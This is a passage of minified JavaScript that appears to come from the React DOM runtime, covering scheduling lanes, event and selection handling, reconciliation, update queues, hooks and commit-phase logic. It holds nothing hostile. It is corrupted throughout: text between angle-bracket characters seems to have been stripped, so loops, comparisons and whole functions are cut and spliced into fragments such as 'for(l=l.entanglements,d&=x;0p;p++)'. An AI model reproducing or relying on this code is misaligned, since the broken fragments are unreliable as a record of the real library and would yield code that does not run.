0;if(d!==0&&d!==x&&(d&j)===0&&(j=x&-x,S=d&-d,j>=S||j===16&&(S&4194240)!==0))return d;if((x&4)!==0&&(x|=p&16),d=l.entangledLanes,d!==0)for(l=l.entanglements,d&=x;0p;p++)d.push(l);return d}function zi(l,d,p){l.pendingLanes|=d,d!==536870912&&(l.suspendedLanes=0,l.pingedLanes=0),l=l.eventTimes,d=31-Ge(d),l[d]=p}function kd(l,d){var p=l.pendingLanes&~d;l.pendingLanes=d,l.suspendedLanes=0,l.pingedLanes=0,l.expiredLanes&=d,l.mutableReadLanes&=d,l.entangledLanes&=d,d=l.entanglements;var x=l.eventTimes;for(l=l.expirationTimes;0=ec),hy=" ",fy=!1;function py(l,d){switch(l){case"keyup":return p3.indexOf(d.keyCode)!==-1;case"keydown":return d.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function my(l){return l=l.detail,typeof l=="object"&&"data"in l?l.data:null}var _o=!1;function g3(l,d){switch(l){case"compositionend":return my(d);case"keypress":return d.which!==32?null:(fy=!0,hy);case"textInput":return l=d.data,l===hy&&fy?null:l;default:return null}}function x3(l,d){if(_o)return l==="compositionend"||!ep&&py(l,d)?(l=iy(),Td=Gf=Da=null,_o=!1,l):null;switch(l){case"paste":return null;case"keypress":if(!(d.ctrlKey||d.altKey||d.metaKey)||d.ctrlKey&&d.altKey){if(d.char&&1=d)return{node:p,offset:d-l};l=x}e:{for(;p;){if(p.nextSibling){p=p.nextSibling;break e}p=p.parentNode}p=void 0}p=wy(p)}}function ky(l,d){return l&&d?l===d?!0:l&&l.nodeType===3?!1:d&&d.nodeType===3?ky(l,d.parentNode):"contains"in l?l.contains(d):l.compareDocumentPosition?!!(l.compareDocumentPosition(d)&16):!1:!1}function Sy(){for(var l=window,d=lt();d instanceof l.HTMLIFrameElement;){try{var p=typeof d.contentWindow.location.href=="string"}catch{p=!1}if(p)l=d.contentWindow;else break;d=lt(l.document)}return d}function rp(l){var d=l&&l.nodeName&&l.nodeName.toLowerCase();return d&&(d==="input"&&(l.type==="text"||l.type==="search"||l.type==="tel"||l.type==="url"||l.type==="password")||d==="textarea"||l.contentEditable==="true")}function C3(l){var d=Sy(),p=l.focusedElem,x=l.selectionRange;if(d!==p&&p&&p.ownerDocument&&ky(p.ownerDocument.documentElement,p)){if(x!==null&&rp(p)){if(d=x.start,l=x.end,l===void 0&&(l=d),"selectionStart"in p)p.selectionStart=d,p.selectionEnd=Math.min(l,p.value.length);else if(l=(d=p.ownerDocument||document)&&d.defaultView||window,l.getSelection){l=l.getSelection();var j=p.textContent.length,S=Math.min(x.start,j);x=x.end===void 0?S:Math.min(x.end,j),!l.extend&&S>x&&(j=x,x=S,S=j),j=jy(p,S);var A=jy(p,x);j&&A&&(l.rangeCount!==1||l.anchorNode!==j.node||l.anchorOffset!==j.offset||l.focusNode!==A.node||l.focusOffset!==A.offset)&&(d=d.createRange(),d.setStart(j.node,j.offset),l.removeAllRanges(),S>x?(l.addRange(d),l.extend(A.node,A.offset)):(d.setEnd(A.node,A.offset),l.addRange(d)))}}for(d=[],l=p;l=l.parentNode;)l.nodeType===1&&d.push({element:l,left:l.scrollLeft,top:l.scrollTop});for(typeof p.focus=="function"&&p.focus(),p=0;p=document.documentMode,zo=null,sp=null,sc=null,ap=!1;function Cy(l,d,p){var x=p.window===p?p.document:p.nodeType===9?p:p.ownerDocument;ap||zo==null||zo!==lt(x)||(x=zo,"selectionStart"in x&&rp(x)?x={start:x.selectionStart,end:x.selectionEnd}:(x=(x.ownerDocument&&x.ownerDocument.defaultView||window).getSelection(),x={anchorNode:x.anchorNode,anchorOffset:x.anchorOffset,focusNode:x.focusNode,focusOffset:x.focusOffset}),sc&&rc(sc,x)||(sc=x,x=Ld(sp,"onSelect"),0Ho||(l.current=xp[Ho],xp[Ho]=null,Ho--)}function Vt(l,d){Ho++,xp[Ho]=l.current,l.current=d}var $a={},tr=za($a),jr=za(!1),Vi=$a;function Wo(l,d){var p=l.type.contextTypes;if(!p)return $a;var x=l.stateNode;if(x&&x.__reactInternalMemoizedUnmaskedChildContext===d)return x.__reactInternalMemoizedMaskedChildContext;var j={},S;for(S in p)j[S]=d[S];return x&&(l=l.stateNode,l.__reactInternalMemoizedUnmaskedChildContext=d,l.__reactInternalMemoizedMaskedChildContext=j),j}function kr(l){return l=l.childContextTypes,l!=null}function Fd(){Gt(jr),Gt(tr)}function By(l,d,p){if(tr.current!==$a)throw Error(n(168));Vt(tr,d),Vt(jr,p)}function Vy(l,d,p){var x=l.stateNode;if(d=d.childContextTypes,typeof x.getChildContext!="function")return p;x=x.getChildContext();for(var j in x)if(!(j in d))throw Error(n(108,re(l)||"Unknown",j));return B({},p,x)}function Bd(l){return l=(l=l.stateNode)&&l.__reactInternalMemoizedMergedChildContext||$a,Vi=tr.current,Vt(tr,l),Vt(jr,jr.current),!0}function Hy(l,d,p){var x=l.stateNode;if(!x)throw Error(n(169));p?(l=Vy(l,d,Vi),x.__reactInternalMemoizedMergedChildContext=l,Gt(jr),Gt(tr),Vt(tr,l)):Gt(jr),Vt(jr,p)}var sa=null,Vd=!1,yp=!1;function Wy(l){sa===null?sa=[l]:sa.push(l)}function z3(l){Vd=!0,Wy(l)}function Fa(){if(!yp&&sa!==null){yp=!0;var l=0,d=Nt;try{var p=sa;for(Nt=1;l>=A,j-=A,aa=1<<32-Ge(d)+j|p<at?($n=tt,tt=null):$n=tt.sibling;var wt=we(ae,tt,de[at],Ae);if(wt===null){tt===null&&(tt=$n);break}l&&tt&&wt.alternate===null&&d(ae,tt),ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt,tt=$n}if(at===de.length)return p(ae,tt),Xt&&Wi(ae,at),He;if(tt===null){for(;atat?($n=tt,tt=null):$n=tt.sibling;var Ja=we(ae,tt,wt.value,Ae);if(Ja===null){tt===null&&(tt=$n);break}l&&tt&&Ja.alternate===null&&d(ae,tt),ee=S(Ja,ee,at),et===null?He=Ja:et.sibling=Ja,et=Ja,tt=$n}if(wt.done)return p(ae,tt),Xt&&Wi(ae,at),He;if(tt===null){for(;!wt.done;at++,wt=de.next())wt=Se(ae,wt.value,Ae),wt!==null&&(ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt);return Xt&&Wi(ae,at),He}for(tt=x(ae,tt);!wt.done;at++,wt=de.next())wt=Oe(tt,ae,at,wt.value,Ae),wt!==null&&(l&&wt.alternate!==null&&tt.delete(wt.key===null?at:wt.key),ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt);return l&&tt.forEach(function(yE){return d(ae,yE)}),Xt&&Wi(ae,at),He}function yn(ae,ee,de,Ae){if(typeof de=="object"&&de!==null&&de.type===L&&de.key===null&&(de=de.props.children),typeof de=="object"&&de!==null){switch(de.$$typeof){case I:e:{for(var He=de.key,et=ee;et!==null;){if(et.key===He){if(He=de.type,He===L){if(et.tag===7){p(ae,et.sibling),ee=j(et,de.props.children),ee.return=ae,ae=ee;break e}}else if(et.elementType===He||typeof He=="object"&&He!==null&&He.$$typeof===H&&Yy(He)===et.type){p(ae,et.sibling),ee=j(et,de.props),ee.ref=dc(ae,et,de),ee.return=ae,ae=ee;break e}p(ae,et);break}else d(ae,et);et=et.sibling}de.type===L?(ee=Xi(de.props.children,ae.mode,Ae,de.key),ee.return=ae,ae=ee):(Ae=gu(de.type,de.key,de.props,null,ae.mode,Ae),Ae.ref=dc(ae,ee,de),Ae.return=ae,ae=Ae)}return A(ae);case O:e:{for(et=de.key;ee!==null;){if(ee.key===et)if(ee.tag===4&&ee.stateNode.containerInfo===de.containerInfo&&ee.stateNode.implementation===de.implementation){p(ae,ee.sibling),ee=j(ee,de.children||[]),ee.return=ae,ae=ee;break e}else{p(ae,ee);break}else d(ae,ee);ee=ee.sibling}ee=mm(de,ae.mode,Ae),ee.return=ae,ae=ee}return A(ae);case H:return et=de._init,yn(ae,ee,et(de._payload),Ae)}if(Yt(de))return ze(ae,ee,de,Ae);if(q(de))return Be(ae,ee,de,Ae);Kd(ae,de)}return typeof de=="string"&&de!==""||typeof de=="number"?(de=""+de,ee!==null&&ee.tag===6?(p(ae,ee.sibling),ee=j(ee,de),ee.return=ae,ae=ee):(p(ae,ee),ee=pm(de,ae.mode,Ae),ee.return=ae,ae=ee),A(ae)):p(ae,ee)}return yn}var Go=Qy(!0),Xy=Qy(!1),qd=za(null),Gd=null,Jo=null,kp=null;function Sp(){kp=Jo=Gd=null}function Cp(l){var d=qd.current;Gt(qd),l._currentValue=d}function Ep(l,d,p){for(;l!==null;){var x=l.alternate;if((l.childLanes&d)!==d?(l.childLanes|=d,x!==null&&(x.childLanes|=d)):x!==null&&(x.childLanes&d)!==d&&(x.childLanes|=d),l===p)break;l=l.return}}function Yo(l,d){Gd=l,kp=Jo=null,l=l.dependencies,l!==null&&l.firstContext!==null&&((l.lanes&d)!==0&&(Sr=!0),l.firstContext=null)}function Xr(l){var d=l._currentValue;if(kp!==l)if(l={context:l,memoizedValue:d,next:null},Jo===null){if(Gd===null)throw Error(n(308));Jo=l,Gd.dependencies={lanes:0,firstContext:l}}else Jo=Jo.next=l;return d}var Ui=null;function Tp(l){Ui===null?Ui=[l]:Ui.push(l)}function Zy(l,d,p,x){var j=d.interleaved;return j===null?(p.next=p,Tp(d)):(p.next=j.next,j.next=p),d.interleaved=p,oa(l,x)}function oa(l,d){l.lanes|=d;var p=l.alternate;for(p!==null&&(p.lanes|=d),p=l,l=l.return;l!==null;)l.childLanes|=d,p=l.alternate,p!==null&&(p.childLanes|=d),p=l,l=l.return;return p.tag===3?p.stateNode:null}var Ba=!1;function Mp(l){l.updateQueue={baseState:l.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function eb(l,d){l=l.updateQueue,d.updateQueue===l&&(d.updateQueue={baseState:l.baseState,firstBaseUpdate:l.firstBaseUpdate,lastBaseUpdate:l.lastBaseUpdate,shared:l.shared,effects:l.effects})}function la(l,d){return{eventTime:l,lane:d,tag:0,payload:null,callback:null,next:null}}function Va(l,d,p){var x=l.updateQueue;if(x===null)return null;if(x=x.shared,(bt&2)!==0){var j=x.pending;return j===null?d.next=d:(d.next=j.next,j.next=d),x.pending=d,oa(l,p)}return j=x.interleaved,j===null?(d.next=d,Tp(x)):(d.next=j.next,j.next=d),x.interleaved=d,oa(l,p)}function Jd(l,d,p){if(d=d.updateQueue,d!==null&&(d=d.shared,(p&4194240)!==0)){var x=d.lanes;x&=l.pendingLanes,p|=x,d.lanes=p,$i(l,p)}}function tb(l,d){var p=l.updateQueue,x=l.alternate;if(x!==null&&(x=x.updateQueue,p===x)){var j=null,S=null;if(p=p.firstBaseUpdate,p!==null){do{var A={eventTime:p.eventTime,lane:p.lane,tag:p.tag,payload:p.payload,callback:p.callback,next:null};S===null?j=S=A:S=S.next=A,p=p.next}while(p!==null);S===null?j=S=d:S=S.next=d}else j=S=d;p={baseState:x.baseState,firstBaseUpdate:j,lastBaseUpdate:S,shared:x.shared,effects:x.effects},l.updateQueue=p;return}l=p.lastBaseUpdate,l===null?p.firstBaseUpdate=d:l.next=d,p.lastBaseUpdate=d}function Yd(l,d,p,x){var j=l.updateQueue;Ba=!1;var S=j.firstBaseUpdate,A=j.lastBaseUpdate,F=j.shared.pending;if(F!==null){j.shared.pending=null;var G=F,he=G.next;G.next=null,A===null?S=he:A.next=he,A=G;var je=l.alternate;je!==null&&(je=je.updateQueue,F=je.lastBaseUpdate,F!==A&&(F===null?je.firstBaseUpdate=he:F.next=he,je.lastBaseUpdate=G))}if(S!==null){var Se=j.baseState;A=0,je=he=G=null,F=S;do{var we=F.lane,Oe=F.eventTime;if((x&we)===we){je!==null&&(je=je.next={eventTime:Oe,lane:0,tag:F.tag,payload:F.payload,callback:F.callback,next:null});e:{var ze=l,Be=F;switch(we=d,Oe=p,Be.tag){case 1:if(ze=Be.payload,typeof ze=="function"){Se=ze.call(Oe,Se,we);break e}Se=ze;break e;case 3:ze.flags=ze.flags&-65537|128;case 0:if(ze=Be.payload,we=typeof ze=="function"?ze.call(Oe,Se,we):ze,we==null)break e;Se=B({},Se,we);break e;case 2:Ba=!0}}F.callback!==null&&F.lane!==0&&(l.flags|=64,we=j.effects,we===null?j.effects=[F]:we.push(F))}else Oe={eventTime:Oe,lane:we,tag:F.tag,payload:F.payload,callback:F.callback,next:null},je===null?(he=je=Oe,G=Se):je=je.next=Oe,A|=we;if(F=F.next,F===null){if(F=j.shared.pending,F===null)break;we=F,F=we.next,we.next=null,j.lastBaseUpdate=we,j.shared.pending=null}}while(!0);if(je===null&&(G=Se),j.baseState=G,j.firstBaseUpdate=he,j.lastBaseUpdate=je,d=j.shared.interleaved,d!==null){j=d;do A|=j.lane,j=j.next;while(j!==d)}else S===null&&(j.shared.lanes=0);Gi|=A,l.lanes=A,l.memoizedState=Se}}function nb(l,d,p){if(l=d.effects,d.effects=null,l!==null)for(d=0;dp?p:4,l(!0);var x=Op.transition;Op.transition={};try{l(!1),d()}finally{Nt=p,Op.transition=x}}function Nb(){return Zr().memoizedState}function V3(l,d,p){var x=Ka(l);if(p={lane:x,action:p,hasEagerState:!1,eagerState:null,next:null},wb(l))jb(d,p);else if(p=Zy(l,d,p,x),p!==null){var j=yr();Ns(p,l,x,j),kb(p,d,x)}}function H3(l,d,p){var x=Ka(l),j={lane:x,action:p,hasEagerState:!1,eagerState:null,next:null};if(wb(l))jb(d,j);else{var S=l.alternate;if(l.lanes===0&&(S===null||S.lanes===0)&&(S=d.lastRenderedReducer,S!==null))try{var A=d.lastRenderedState,F=S(A,p);if(j.hasEagerState=!0,j.eagerState=F,gs(F,A)){var G=d.interleaved;G===null?(j.next=j,Tp(d)):(j.next=G.next,G.next=j),d.interleaved=j;return}}catch{}finally{}p=Zy(l,d,j,x),p!==null&&(j=yr(),Ns(p,l,x,j),kb(p,d,x))}}function wb(l){var d=l.alternate;return l===an||d!==null&&d===an}function jb(l,d){pc=Zd=!0;var p=l.pending;p===null?d.next=d:(d.next=p.next,p.next=d),l.pending=d}function kb(l,d,p){if((p&4194240)!==0){var x=d.lanes;x&=l.pendingLanes,p|=x,d.lanes=p,$i(l,p)}}var nu={readContext:Xr,useCallback:nr,useContext:nr,useEffect:nr,useImperativeHandle:nr,useInsertionEffect:nr,useLayoutEffect:nr,useMemo:nr,useReducer:nr,useRef:nr,useState:nr,useDebugValue:nr,useDeferredValue:nr,useTransition:nr,useMutableSource:nr,useSyncExternalStore:nr,useId:nr,unstable_isNewReconciler:!1},W3={readContext:Xr,useCallback:function(l,d){return _s().memoizedState=[l,d===void 0?null:d],l},useContext:Xr,useEffect:fb,useImperativeHandle:function(l,d,p){return p=p!=null?p.concat([l]):null,eu(4194308,4,gb.bind(null,d,l),p)},useLayoutEffect:function(l,d){return eu(4194308,4,l,d)},useInsertionEffect:function(l,d){return eu(4,2,l,d)},useMemo:function(l,d){var p=_s();return d=d===void 0?null:d,l=l(),p.memoizedState=[l,d],l},useReducer:function(l,d,p){var x=_s();return d=p!==void 0?p(d):d,x.memoizedState=x.baseState=d,l={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:l,lastRenderedState:d},x.queue=l,l=l.dispatch=V3.bind(null,an,l),[x.memoizedState,l]},useRef:function(l){var d=_s();return l={current:l},d.memoizedState=l},useState:ub,useDebugValue:Bp,useDeferredValue:function(l){return _s().memoizedState=l},useTransition:function(){var l=ub(!1),d=l[0];return l=B3.bind(null,l[1]),_s().memoizedState=l,[d,l]},useMutableSource:function(){},useSyncExternalStore:function(l,d,p){var x=an,j=_s();if(Xt){if(p===void 0)throw Error(n(407));p=p()}else{if(p=d(),zn===null)throw Error(n(349));(qi&30)!==0||ib(x,d,p)}j.memoizedState=p;var S={value:p,getSnapshot:d};return j.queue=S,fb(lb.bind(null,x,S,l),[l]),x.flags|=2048,xc(9,ob.bind(null,x,S,p,d),void 0,null),p},useId:function(){var l=_s(),d=zn.identifierPrefix;if(Xt){var p=ia,x=aa;p=(x&~(1<<32-Ge(x)-1)).toString(32)+p,d=":"+d+"R"+p,p=mc++,0<\/script>",l=l.removeChild(l.firstChild)):typeof x.is=="string"?l=A.createElement(p,{is:x.is}):(l=A.createElement(p),p==="select"&&(A=l,x.multiple?A.multiple=!0:x.size&&(A.size=x.size))):l=A.createElementNS(l,p),l[Ds]=d,l[lc]=x,Wb(l,d,!1,!1),d.stateNode=l;e:{switch(A=As(p,x),p){case"dialog":qt("cancel",l),qt("close",l),j=x;break;case"iframe":case"object":case"embed":qt("load",l),j=x;break;case"video":case"audio":for(j=0;jtl&&(d.flags|=128,x=!0,yc(S,!1),d.lanes=4194304)}else{if(!x)if(l=Qd(A),l!==null){if(d.flags|=128,x=!0,p=l.updateQueue,p!==null&&(d.updateQueue=p,d.flags|=4),yc(S,!0),S.tail===null&&S.tailMode==="hidden"&&!A.alternate&&!Xt)return rr(d),null}else 2*Ot()-S.renderingStartTime>tl&&p!==1073741824&&(d.flags|=128,x=!0,yc(S,!1),d.lanes=4194304);S.isBackwards?(A.sibling=d.child,d.child=A):(p=S.last,p!==null?p.sibling=A:d.child=A,S.last=A)}return S.tail!==null?(d=S.tail,S.rendering=d,S.tail=d.sibling,S.renderingStartTime=Ot(),d.sibling=null,p=sn.current,Vt(sn,x?p&1|2:p&1),d):(rr(d),null);case 22:case 23:return um(),x=d.memoizedState!==null,l!==null&&l.memoizedState!==null!==x&&(d.flags|=8192),x&&(d.mode&1)!==0?(Lr&1073741824)!==0&&(rr(d),d.subtreeFlags&6&&(d.flags|=8192)):rr(d),null;case 24:return null;case 25:return null}throw Error(n(156,d.tag))}function X3(l,d){switch(vp(d),d.tag){case 1:return kr(d.type)&&Fd(),l=d.flags,l&65536?(d.flags=l&-65537|128,d):null;case 3:return Qo(),Gt(jr),Gt(tr),Pp(),l=d.flags,(l&65536)!==0&&(l&128)===0?(d.flags=l&-65537|128,d):null;case 5:return Ip(d),null;case 13:if(Gt(sn),l=d.memoizedState,l!==null&&l.dehydrated!==null){if(d.alternate===null)throw Error(n(340));qo()}return l=d.flags,l&65536?(d.flags=l&-65537|128,d):null;case 19:return Gt(sn),null;case 4:return Qo(),null;case 10:return Cp(d.type._context),null;case 22:case 23:return um(),null;case 24:return null;default:return null}}var iu=!1,sr=!1,Z3=typeof WeakSet=="function"?WeakSet:Set,_e=null;function Zo(l,d){var p=l.ref;if(p!==null)if(typeof p=="function")try{p(null)}catch(x){dn(l,d,x)}else p.current=null}function Zp(l,d,p){try{p()}catch(x){dn(l,d,x)}}var qb=!1;function eE(l,d){if(up=Cd,l=Sy(),rp(l)){if("selectionStart"in l)var p={start:l.selectionStart,end:l.selectionEnd};else e:{p=(p=l.ownerDocument)&&p.defaultView||window;var x=p.getSelection&&p.getSelection();if(x&&x.rangeCount!==0){p=x.anchorNode;var j=x.anchorOffset,S=x.focusNode;x=x.focusOffset;try{p.nodeType,S.nodeType}catch{p=null;break e}var A=0,F=-1,G=-1,he=0,je=0,Se=l,we=null;t:for(;;){for(var Oe;Se!==p||j!==0&&Se.nodeType!==3||(F=A+j),Se!==S||x!==0&&Se.nodeType!==3||(G=A+x),Se.nodeType===3&&(A+=Se.nodeValue.length),(Oe=Se.firstChild)!==null;)we=Se,Se=Oe;for(;;){if(Se===l)break t;if(we===p&&++he===j&&(F=A),we===S&&++je===x&&(G=A),(Oe=Se.nextSibling)!==null)break;Se=we,we=Se.parentNode}Se=Oe}p=F===-1||G===-1?null:{start:F,end:G}}else p=null}p=p||{start:0,end:0}}else p=null;for(hp={focusedElem:l,selectionRange:p},Cd=!1,_e=d;_e!==null;)if(d=_e,l=d.child,(d.subtreeFlags&1028)!==0&&l!==null)l.return=d,_e=l;else for(;_e!==null;){d=_e;try{var ze=d.alternate;if((d.flags&1024)!==0)switch(d.tag){case 0:case 11:case 15:break;case 1:if(ze!==null){var Be=ze.memoizedProps,yn=ze.memoizedState,ae=d.stateNode,ee=ae.getSnapshotBeforeUpdate(d.elementType===d.type?Be:ys(d.type,Be),yn);ae.__reactInternalSnapshotBeforeUpdate=ee}break;case 3:var de=d.stateNode.containerInfo;de.nodeType===1?de.textContent="":de.nodeType===9&&de.documentElement&&de.removeChild(de.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(n(163))}}catch(Ae){dn(d,d.return,Ae)}if(l=d.sibling,l!==null){l.return=d.return,_e=l;break}_e=d.return}return ze=qb,qb=!1,ze}function bc(l,d,p){var x=d.updateQueue;if(x=x!==null?x.lastEffect:null,x!==null){var j=x=x.next;do{if((j.tag&l)===l){var S=j.destroy;j.destroy=void 0,S!==void 0&&Zp(d,p,S)}j=j.next}while(j!==x)}}function ou(l,d){if(d=d.updateQueue,d=d!==null?d.lastEffect:null,d!==null){var p=d=d.next;do{if((p.tag&l)===l){var x=p.create;p.destroy=x()}p=p.next}while(p!==d)}}function em(l){var d=l.ref;if(d!==null){var p=l.stateNode;switch(l.tag){case 5:l=p;break;default:l=p}typeof d=="function"?d(l):d.current=l}}function Gb(l){var d=l.alternate;d!==null&&(l.alternate=null,Gb(d)),l.child=null,l.deletions=null,l.sibling=null,l.tag===5&&(d=l.stateNode,d!==null&&(delete d[Ds],delete d[lc],delete d[gp],delete d[L3],delete d[_3])),l.stateNode=null,l.return=null,l.dependencies=null,l.memoizedProps=null,l.memoizedState=null,l.pendingProps=null,l.stateNode=null,l.updateQueue=null}function Jb(l){return l.tag===5||l.tag===3||l.tag===4}function Yb(l){e:for(;;){for(;l.sibling===null;){if(l.return===null||Jb(l.return))return null;l=l.return}for(l.sibling.return=l.return,l=l.sibling;l.tag!==5&&l.tag!==6&&l.tag!==18;){if(l.flags&2||l.child===null||l.tag===4)continue e;l.child.return=l,l=l.child}if(!(l.flags&2))return l.stateNode}}function tm(l,d,p){var x=l.tag;if(x===5||x===6)l=l.stateNode,d?p.nodeType===8?p.parentNode.insertBefore(l,d):p.insertBefore(l,d):(p.nodeType===8?(d=p.parentNode,d.insertBefore(l,p)):(d=p,d.appendChild(l)),p=p._reactRootContainer,p!=null||d.onclick!==null||(d.onclick=zd));else if(x!==4&&(l=l.child,l!==null))for(tm(l,d,p),l=l.sibling;l!==null;)tm(l,d,p),l=l.sibling}function nm(l,d,p){var x=l.tag;if(x===5||x===6)l=l.stateNode,d?p.insertBefore(l,d):p.appendChild(l);else if(x!==4&&(l=l.child,l!==null))for(nm(l,d,p),l=l.sibling;l!==null;)nm(l,d,p),l=l.sibling}var Kn=null,bs=!1;function Ha(l,d,p){for(p=p.child;p!==null;)Qb(l,d,p),p=p.sibling}function Qb(l,d,p){if(Pe&&typeof Pe.onCommitFiberUnmount=="function")try{Pe.onCommitFiberUnmount(W,p)}catch{}switch(p.tag){case 5:sr||Zo(p,d);case 6:var x=Kn,j=bs;Kn=null,Ha(l,d,p),Kn=x,bs=j,Kn!==null&&(bs?(l=Kn,p=p.stateNode,l.nodeType===8?l.parentNode.removeChild(p):l.removeChild(p)):Kn.removeChild(p.stateNode));break;case 18:Kn!==null&&(bs?(l=Kn,p=p.stateNode,l.nodeType===8?mp(l.parentNode,p):l.nodeType===1&&mp(l,p),Ql(l)):mp(Kn,p.stateNode));break;case 4:x=Kn,j=bs,Kn=p.stateNode.containerInfo,bs=!0,Ha(l,d,p),Kn=x,bs=j;break;case 0:case 11:case 14:case 15:if(!sr&&(x=p.updateQueue,x!==null&&(x=x.lastEffect,x!==null))){j=x=x.next;do{var S=j,A=S.destroy;S=S.tag,A!==void 0&&((S&2)!==0||(S&4)!==0)&&Zp(p,d,A),j=j.next}while(j!==x)}Ha(l,d,p);break;case 1:if(!sr&&(Zo(p,d),x=p.stateNode,typeof x.componentWillUnmount=="function"))try{x.props=p.memoizedProps,x.state=p.memoizedState,x.componentWillUnmount()}catch(F){dn(p,d,F)}Ha(l,d,p);break;case 21:Ha(l,d,p);break;case 22:p.mode&1?(sr=(x=sr)||p.memoizedState!==null,Ha(l,d,p),sr=x):Ha(l,d,p);break;default:Ha(l,d,p)}}function Xb(l){var d=l.updateQueue;if(d!==null){l.updateQueue=null;var p=l.stateNode;p===null&&(p=l.stateNode=new Z3),d.forEach(function(x){var j=cE.bind(null,l,x);p.has(x)||(p.add(x),x.then(j,j))})}}function vs(l,d){var p=d.deletions;if(p!==null)for(var x=0;xj&&(j=A),x&=~S}if(x=j,x=Ot()-x,x=(120>x?120:480>x?480:1080>x?1080:1920>x?1920:3e3>x?3e3:4320>x?4320:1960*nE(x/1960))-x,10l?16:l,Ua===null)var x=!1;else{if(l=Ua,Ua=null,hu=0,(bt&6)!==0)throw Error(n(331));var j=bt;for(bt|=4,_e=l.current;_e!==null;){var S=_e,A=S.child;if((_e.flags&16)!==0){var F=S.deletions;if(F!==null){for(var G=0;GOt()-am?Yi(l,0):sm|=p),Er(l,d)}function uv(l,d){d===0&&((l.mode&1)===0?d=1:(d=Un,Un<<=1,(Un&130023424)===0&&(Un=4194304)));var p=yr();l=oa(l,d),l!==null&&(zi(l,d,p),Er(l,p))}function lE(l){var d=l.memoizedState,p=0;d!==null&&(p=d.retryLane),uv(l,p)}function cE(l,d){var p=0;switch(l.tag){case 13:var x=l.stateNode,j=l.memoizedState;j!==null&&(p=j.retryLane);break;case 19:x=l.stateNode;break;default:throw Error(n(314))}x!==null&&x.delete(d),uv(l,p)}var hv;hv=function(l,d,p){if(l!==null)if(l.memoizedProps!==d.pendingProps||jr.current)Sr=!0;else{if((l.lanes&p)===0&&(d.flags&128)===0)return Sr=!1,Y3(l,d,p);Sr=(l.flags&131072)!==0}else Sr=!1,Xt&&(d.flags&1048576)!==0&&Uy(d,Wd,d.index);switch(d.lanes=0,d.tag){case 2:var x=d.type;au(l,d),l=d.pendingProps;var j=Wo(d,tr.current);Yo(d,p),j=Lp(null,d,x,l,j,p);var S=_p();return d.flags|=1,typeof j=="object"&&j!==null&&typeof j.render=="function"&&j.$$typeof===void 0?(d.tag=1,d.memoizedState=null,d.updateQueue=null,kr(x)?(S=!0,Bd(d)):S=!1,d.memoizedState=j.state!==null&&j.state!==void 0?j.state:null,Mp(d),j.updater=ru,d.stateNode=j,j._reactInternals=d,Hp(d,x,l,p),d=qp(null,d,x,!0,S,p)):(d.tag=0,Xt&&S&&bp(d),xr(null,d,j,p),d=d.child),d;case 16:x=d.elementType;e:{switch(au(l,d),l=d.pendingProps,j=x._init,x=j(x._payload),d.type=x,j=d.tag=uE(x),l=ys(x,l),j){case 0:d=Kp(null,d,x,l,p);break e;case 1:d=zb(null,d,x,l,p);break e;case 11:d=Pb(null,d,x,l,p);break e;case 14:d=Ob(null,d,x,ys(x.type,l),p);break e}throw Error(n(306,x,""))}return d;case 0:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),Kp(l,d,x,j,p);case 1:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),zb(l,d,x,j,p);case 3:e:{if($b(d),l===null)throw Error(n(387));x=d.pendingProps,S=d.memoizedState,j=S.element,eb(l,d),Yd(d,x,null,p);var A=d.memoizedState;if(x=A.element,S.isDehydrated)if(S={element:x,isDehydrated:!1,cache:A.cache,pendingSuspenseBoundaries:A.pendingSuspenseBoundaries,transitions:A.transitions},d.updateQueue.baseState=S,d.memoizedState=S,d.flags&256){j=Xo(Error(n(423)),d),d=Fb(l,d,x,p,j);break e}else if(x!==j){j=Xo(Error(n(424)),d),d=Fb(l,d,x,p,j);break e}else for(Dr=_a(d.stateNode.containerInfo.firstChild),Or=d,Xt=!0,xs=null,p=Xy(d,null,x,p),d.child=p;p;)p.flags=p.flags&-3|4096,p=p.sibling;else{if(qo(),x===j){d=ca(l,d,p);break e}xr(l,d,x,p)}d=d.child}return d;case 5:return rb(d),l===null&&wp(d),x=d.type,j=d.pendingProps,S=l!==null?l.memoizedProps:null,A=j.children,fp(x,j)?A=null:S!==null&&fp(x,S)&&(d.flags|=32),_b(l,d),xr(l,d,A,p),d.child;case 6:return l===null&&wp(d),null;case 13:return Bb(l,d,p);case 4:return Ap(d,d.stateNode.containerInfo),x=d.pendingProps,l===null?d.child=Go(d,null,x,p):xr(l,d,x,p),d.child;case 11:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),Pb(l,d,x,j,p);case 7:return xr(l,d,d.pendingProps,p),d.child;case 8:return xr(l,d,d.pendingProps.children,p),d.child;case 12:return xr(l,d,d.pendingProps.children,p),d.child;case 10:e:{if(x=d.type._context,j=d.pendingProps,S=d.memoizedProps,A=j.value,Vt(qd,x._currentValue),x._currentValue=A,S!==null)if(gs(S.value,A)){if(S.children===j.children&&!jr.current){d=ca(l,d,p);break e}}else for(S=d.child,S!==null&&(S.return=d);S!==null;){var F=S.dependencies;if(F!==null){A=S.child;for(var G=F.firstContext;G!==null;){if(G.context===x){if(S.tag===1){G=la(-1,p&-p),G.tag=2;var he=S.updateQueue;if(he!==null){he=he.shared;var je=he.pending;je===null?G.next=G:(G.next=je.next,je.next=G),he.pending=G}}S.lanes|=p,G=S.alternate,G!==null&&(G.lanes|=p),Ep(S.return,p,d),F.lanes|=p;break}G=G.next}}else if(S.tag===10)A=S.type===d.type?null:S.child;else if(S.tag===18){if(A=S.return,A===null)throw Error(n(341));A.lanes|=p,F=A.alternate,F!==null&&(F.lanes|=p),Ep(A,p,d),A=S.sibling}else A=S.child;if(A!==null)A.return=S;else for(A=S;A!==null;){if(A===d){A=null;break}if(S=A.sibling,S!==null){S.return=A.return,A=S;break}A=A.return}S=A}xr(l,d,j.children,p),d=d.child}return d;case 9:return j=d.type,x=d.pendingProps.children,Yo(d,p),j=Xr(j),x=x(j),d.flags|=1,xr(l,d,x,p),d.child;case 14:return 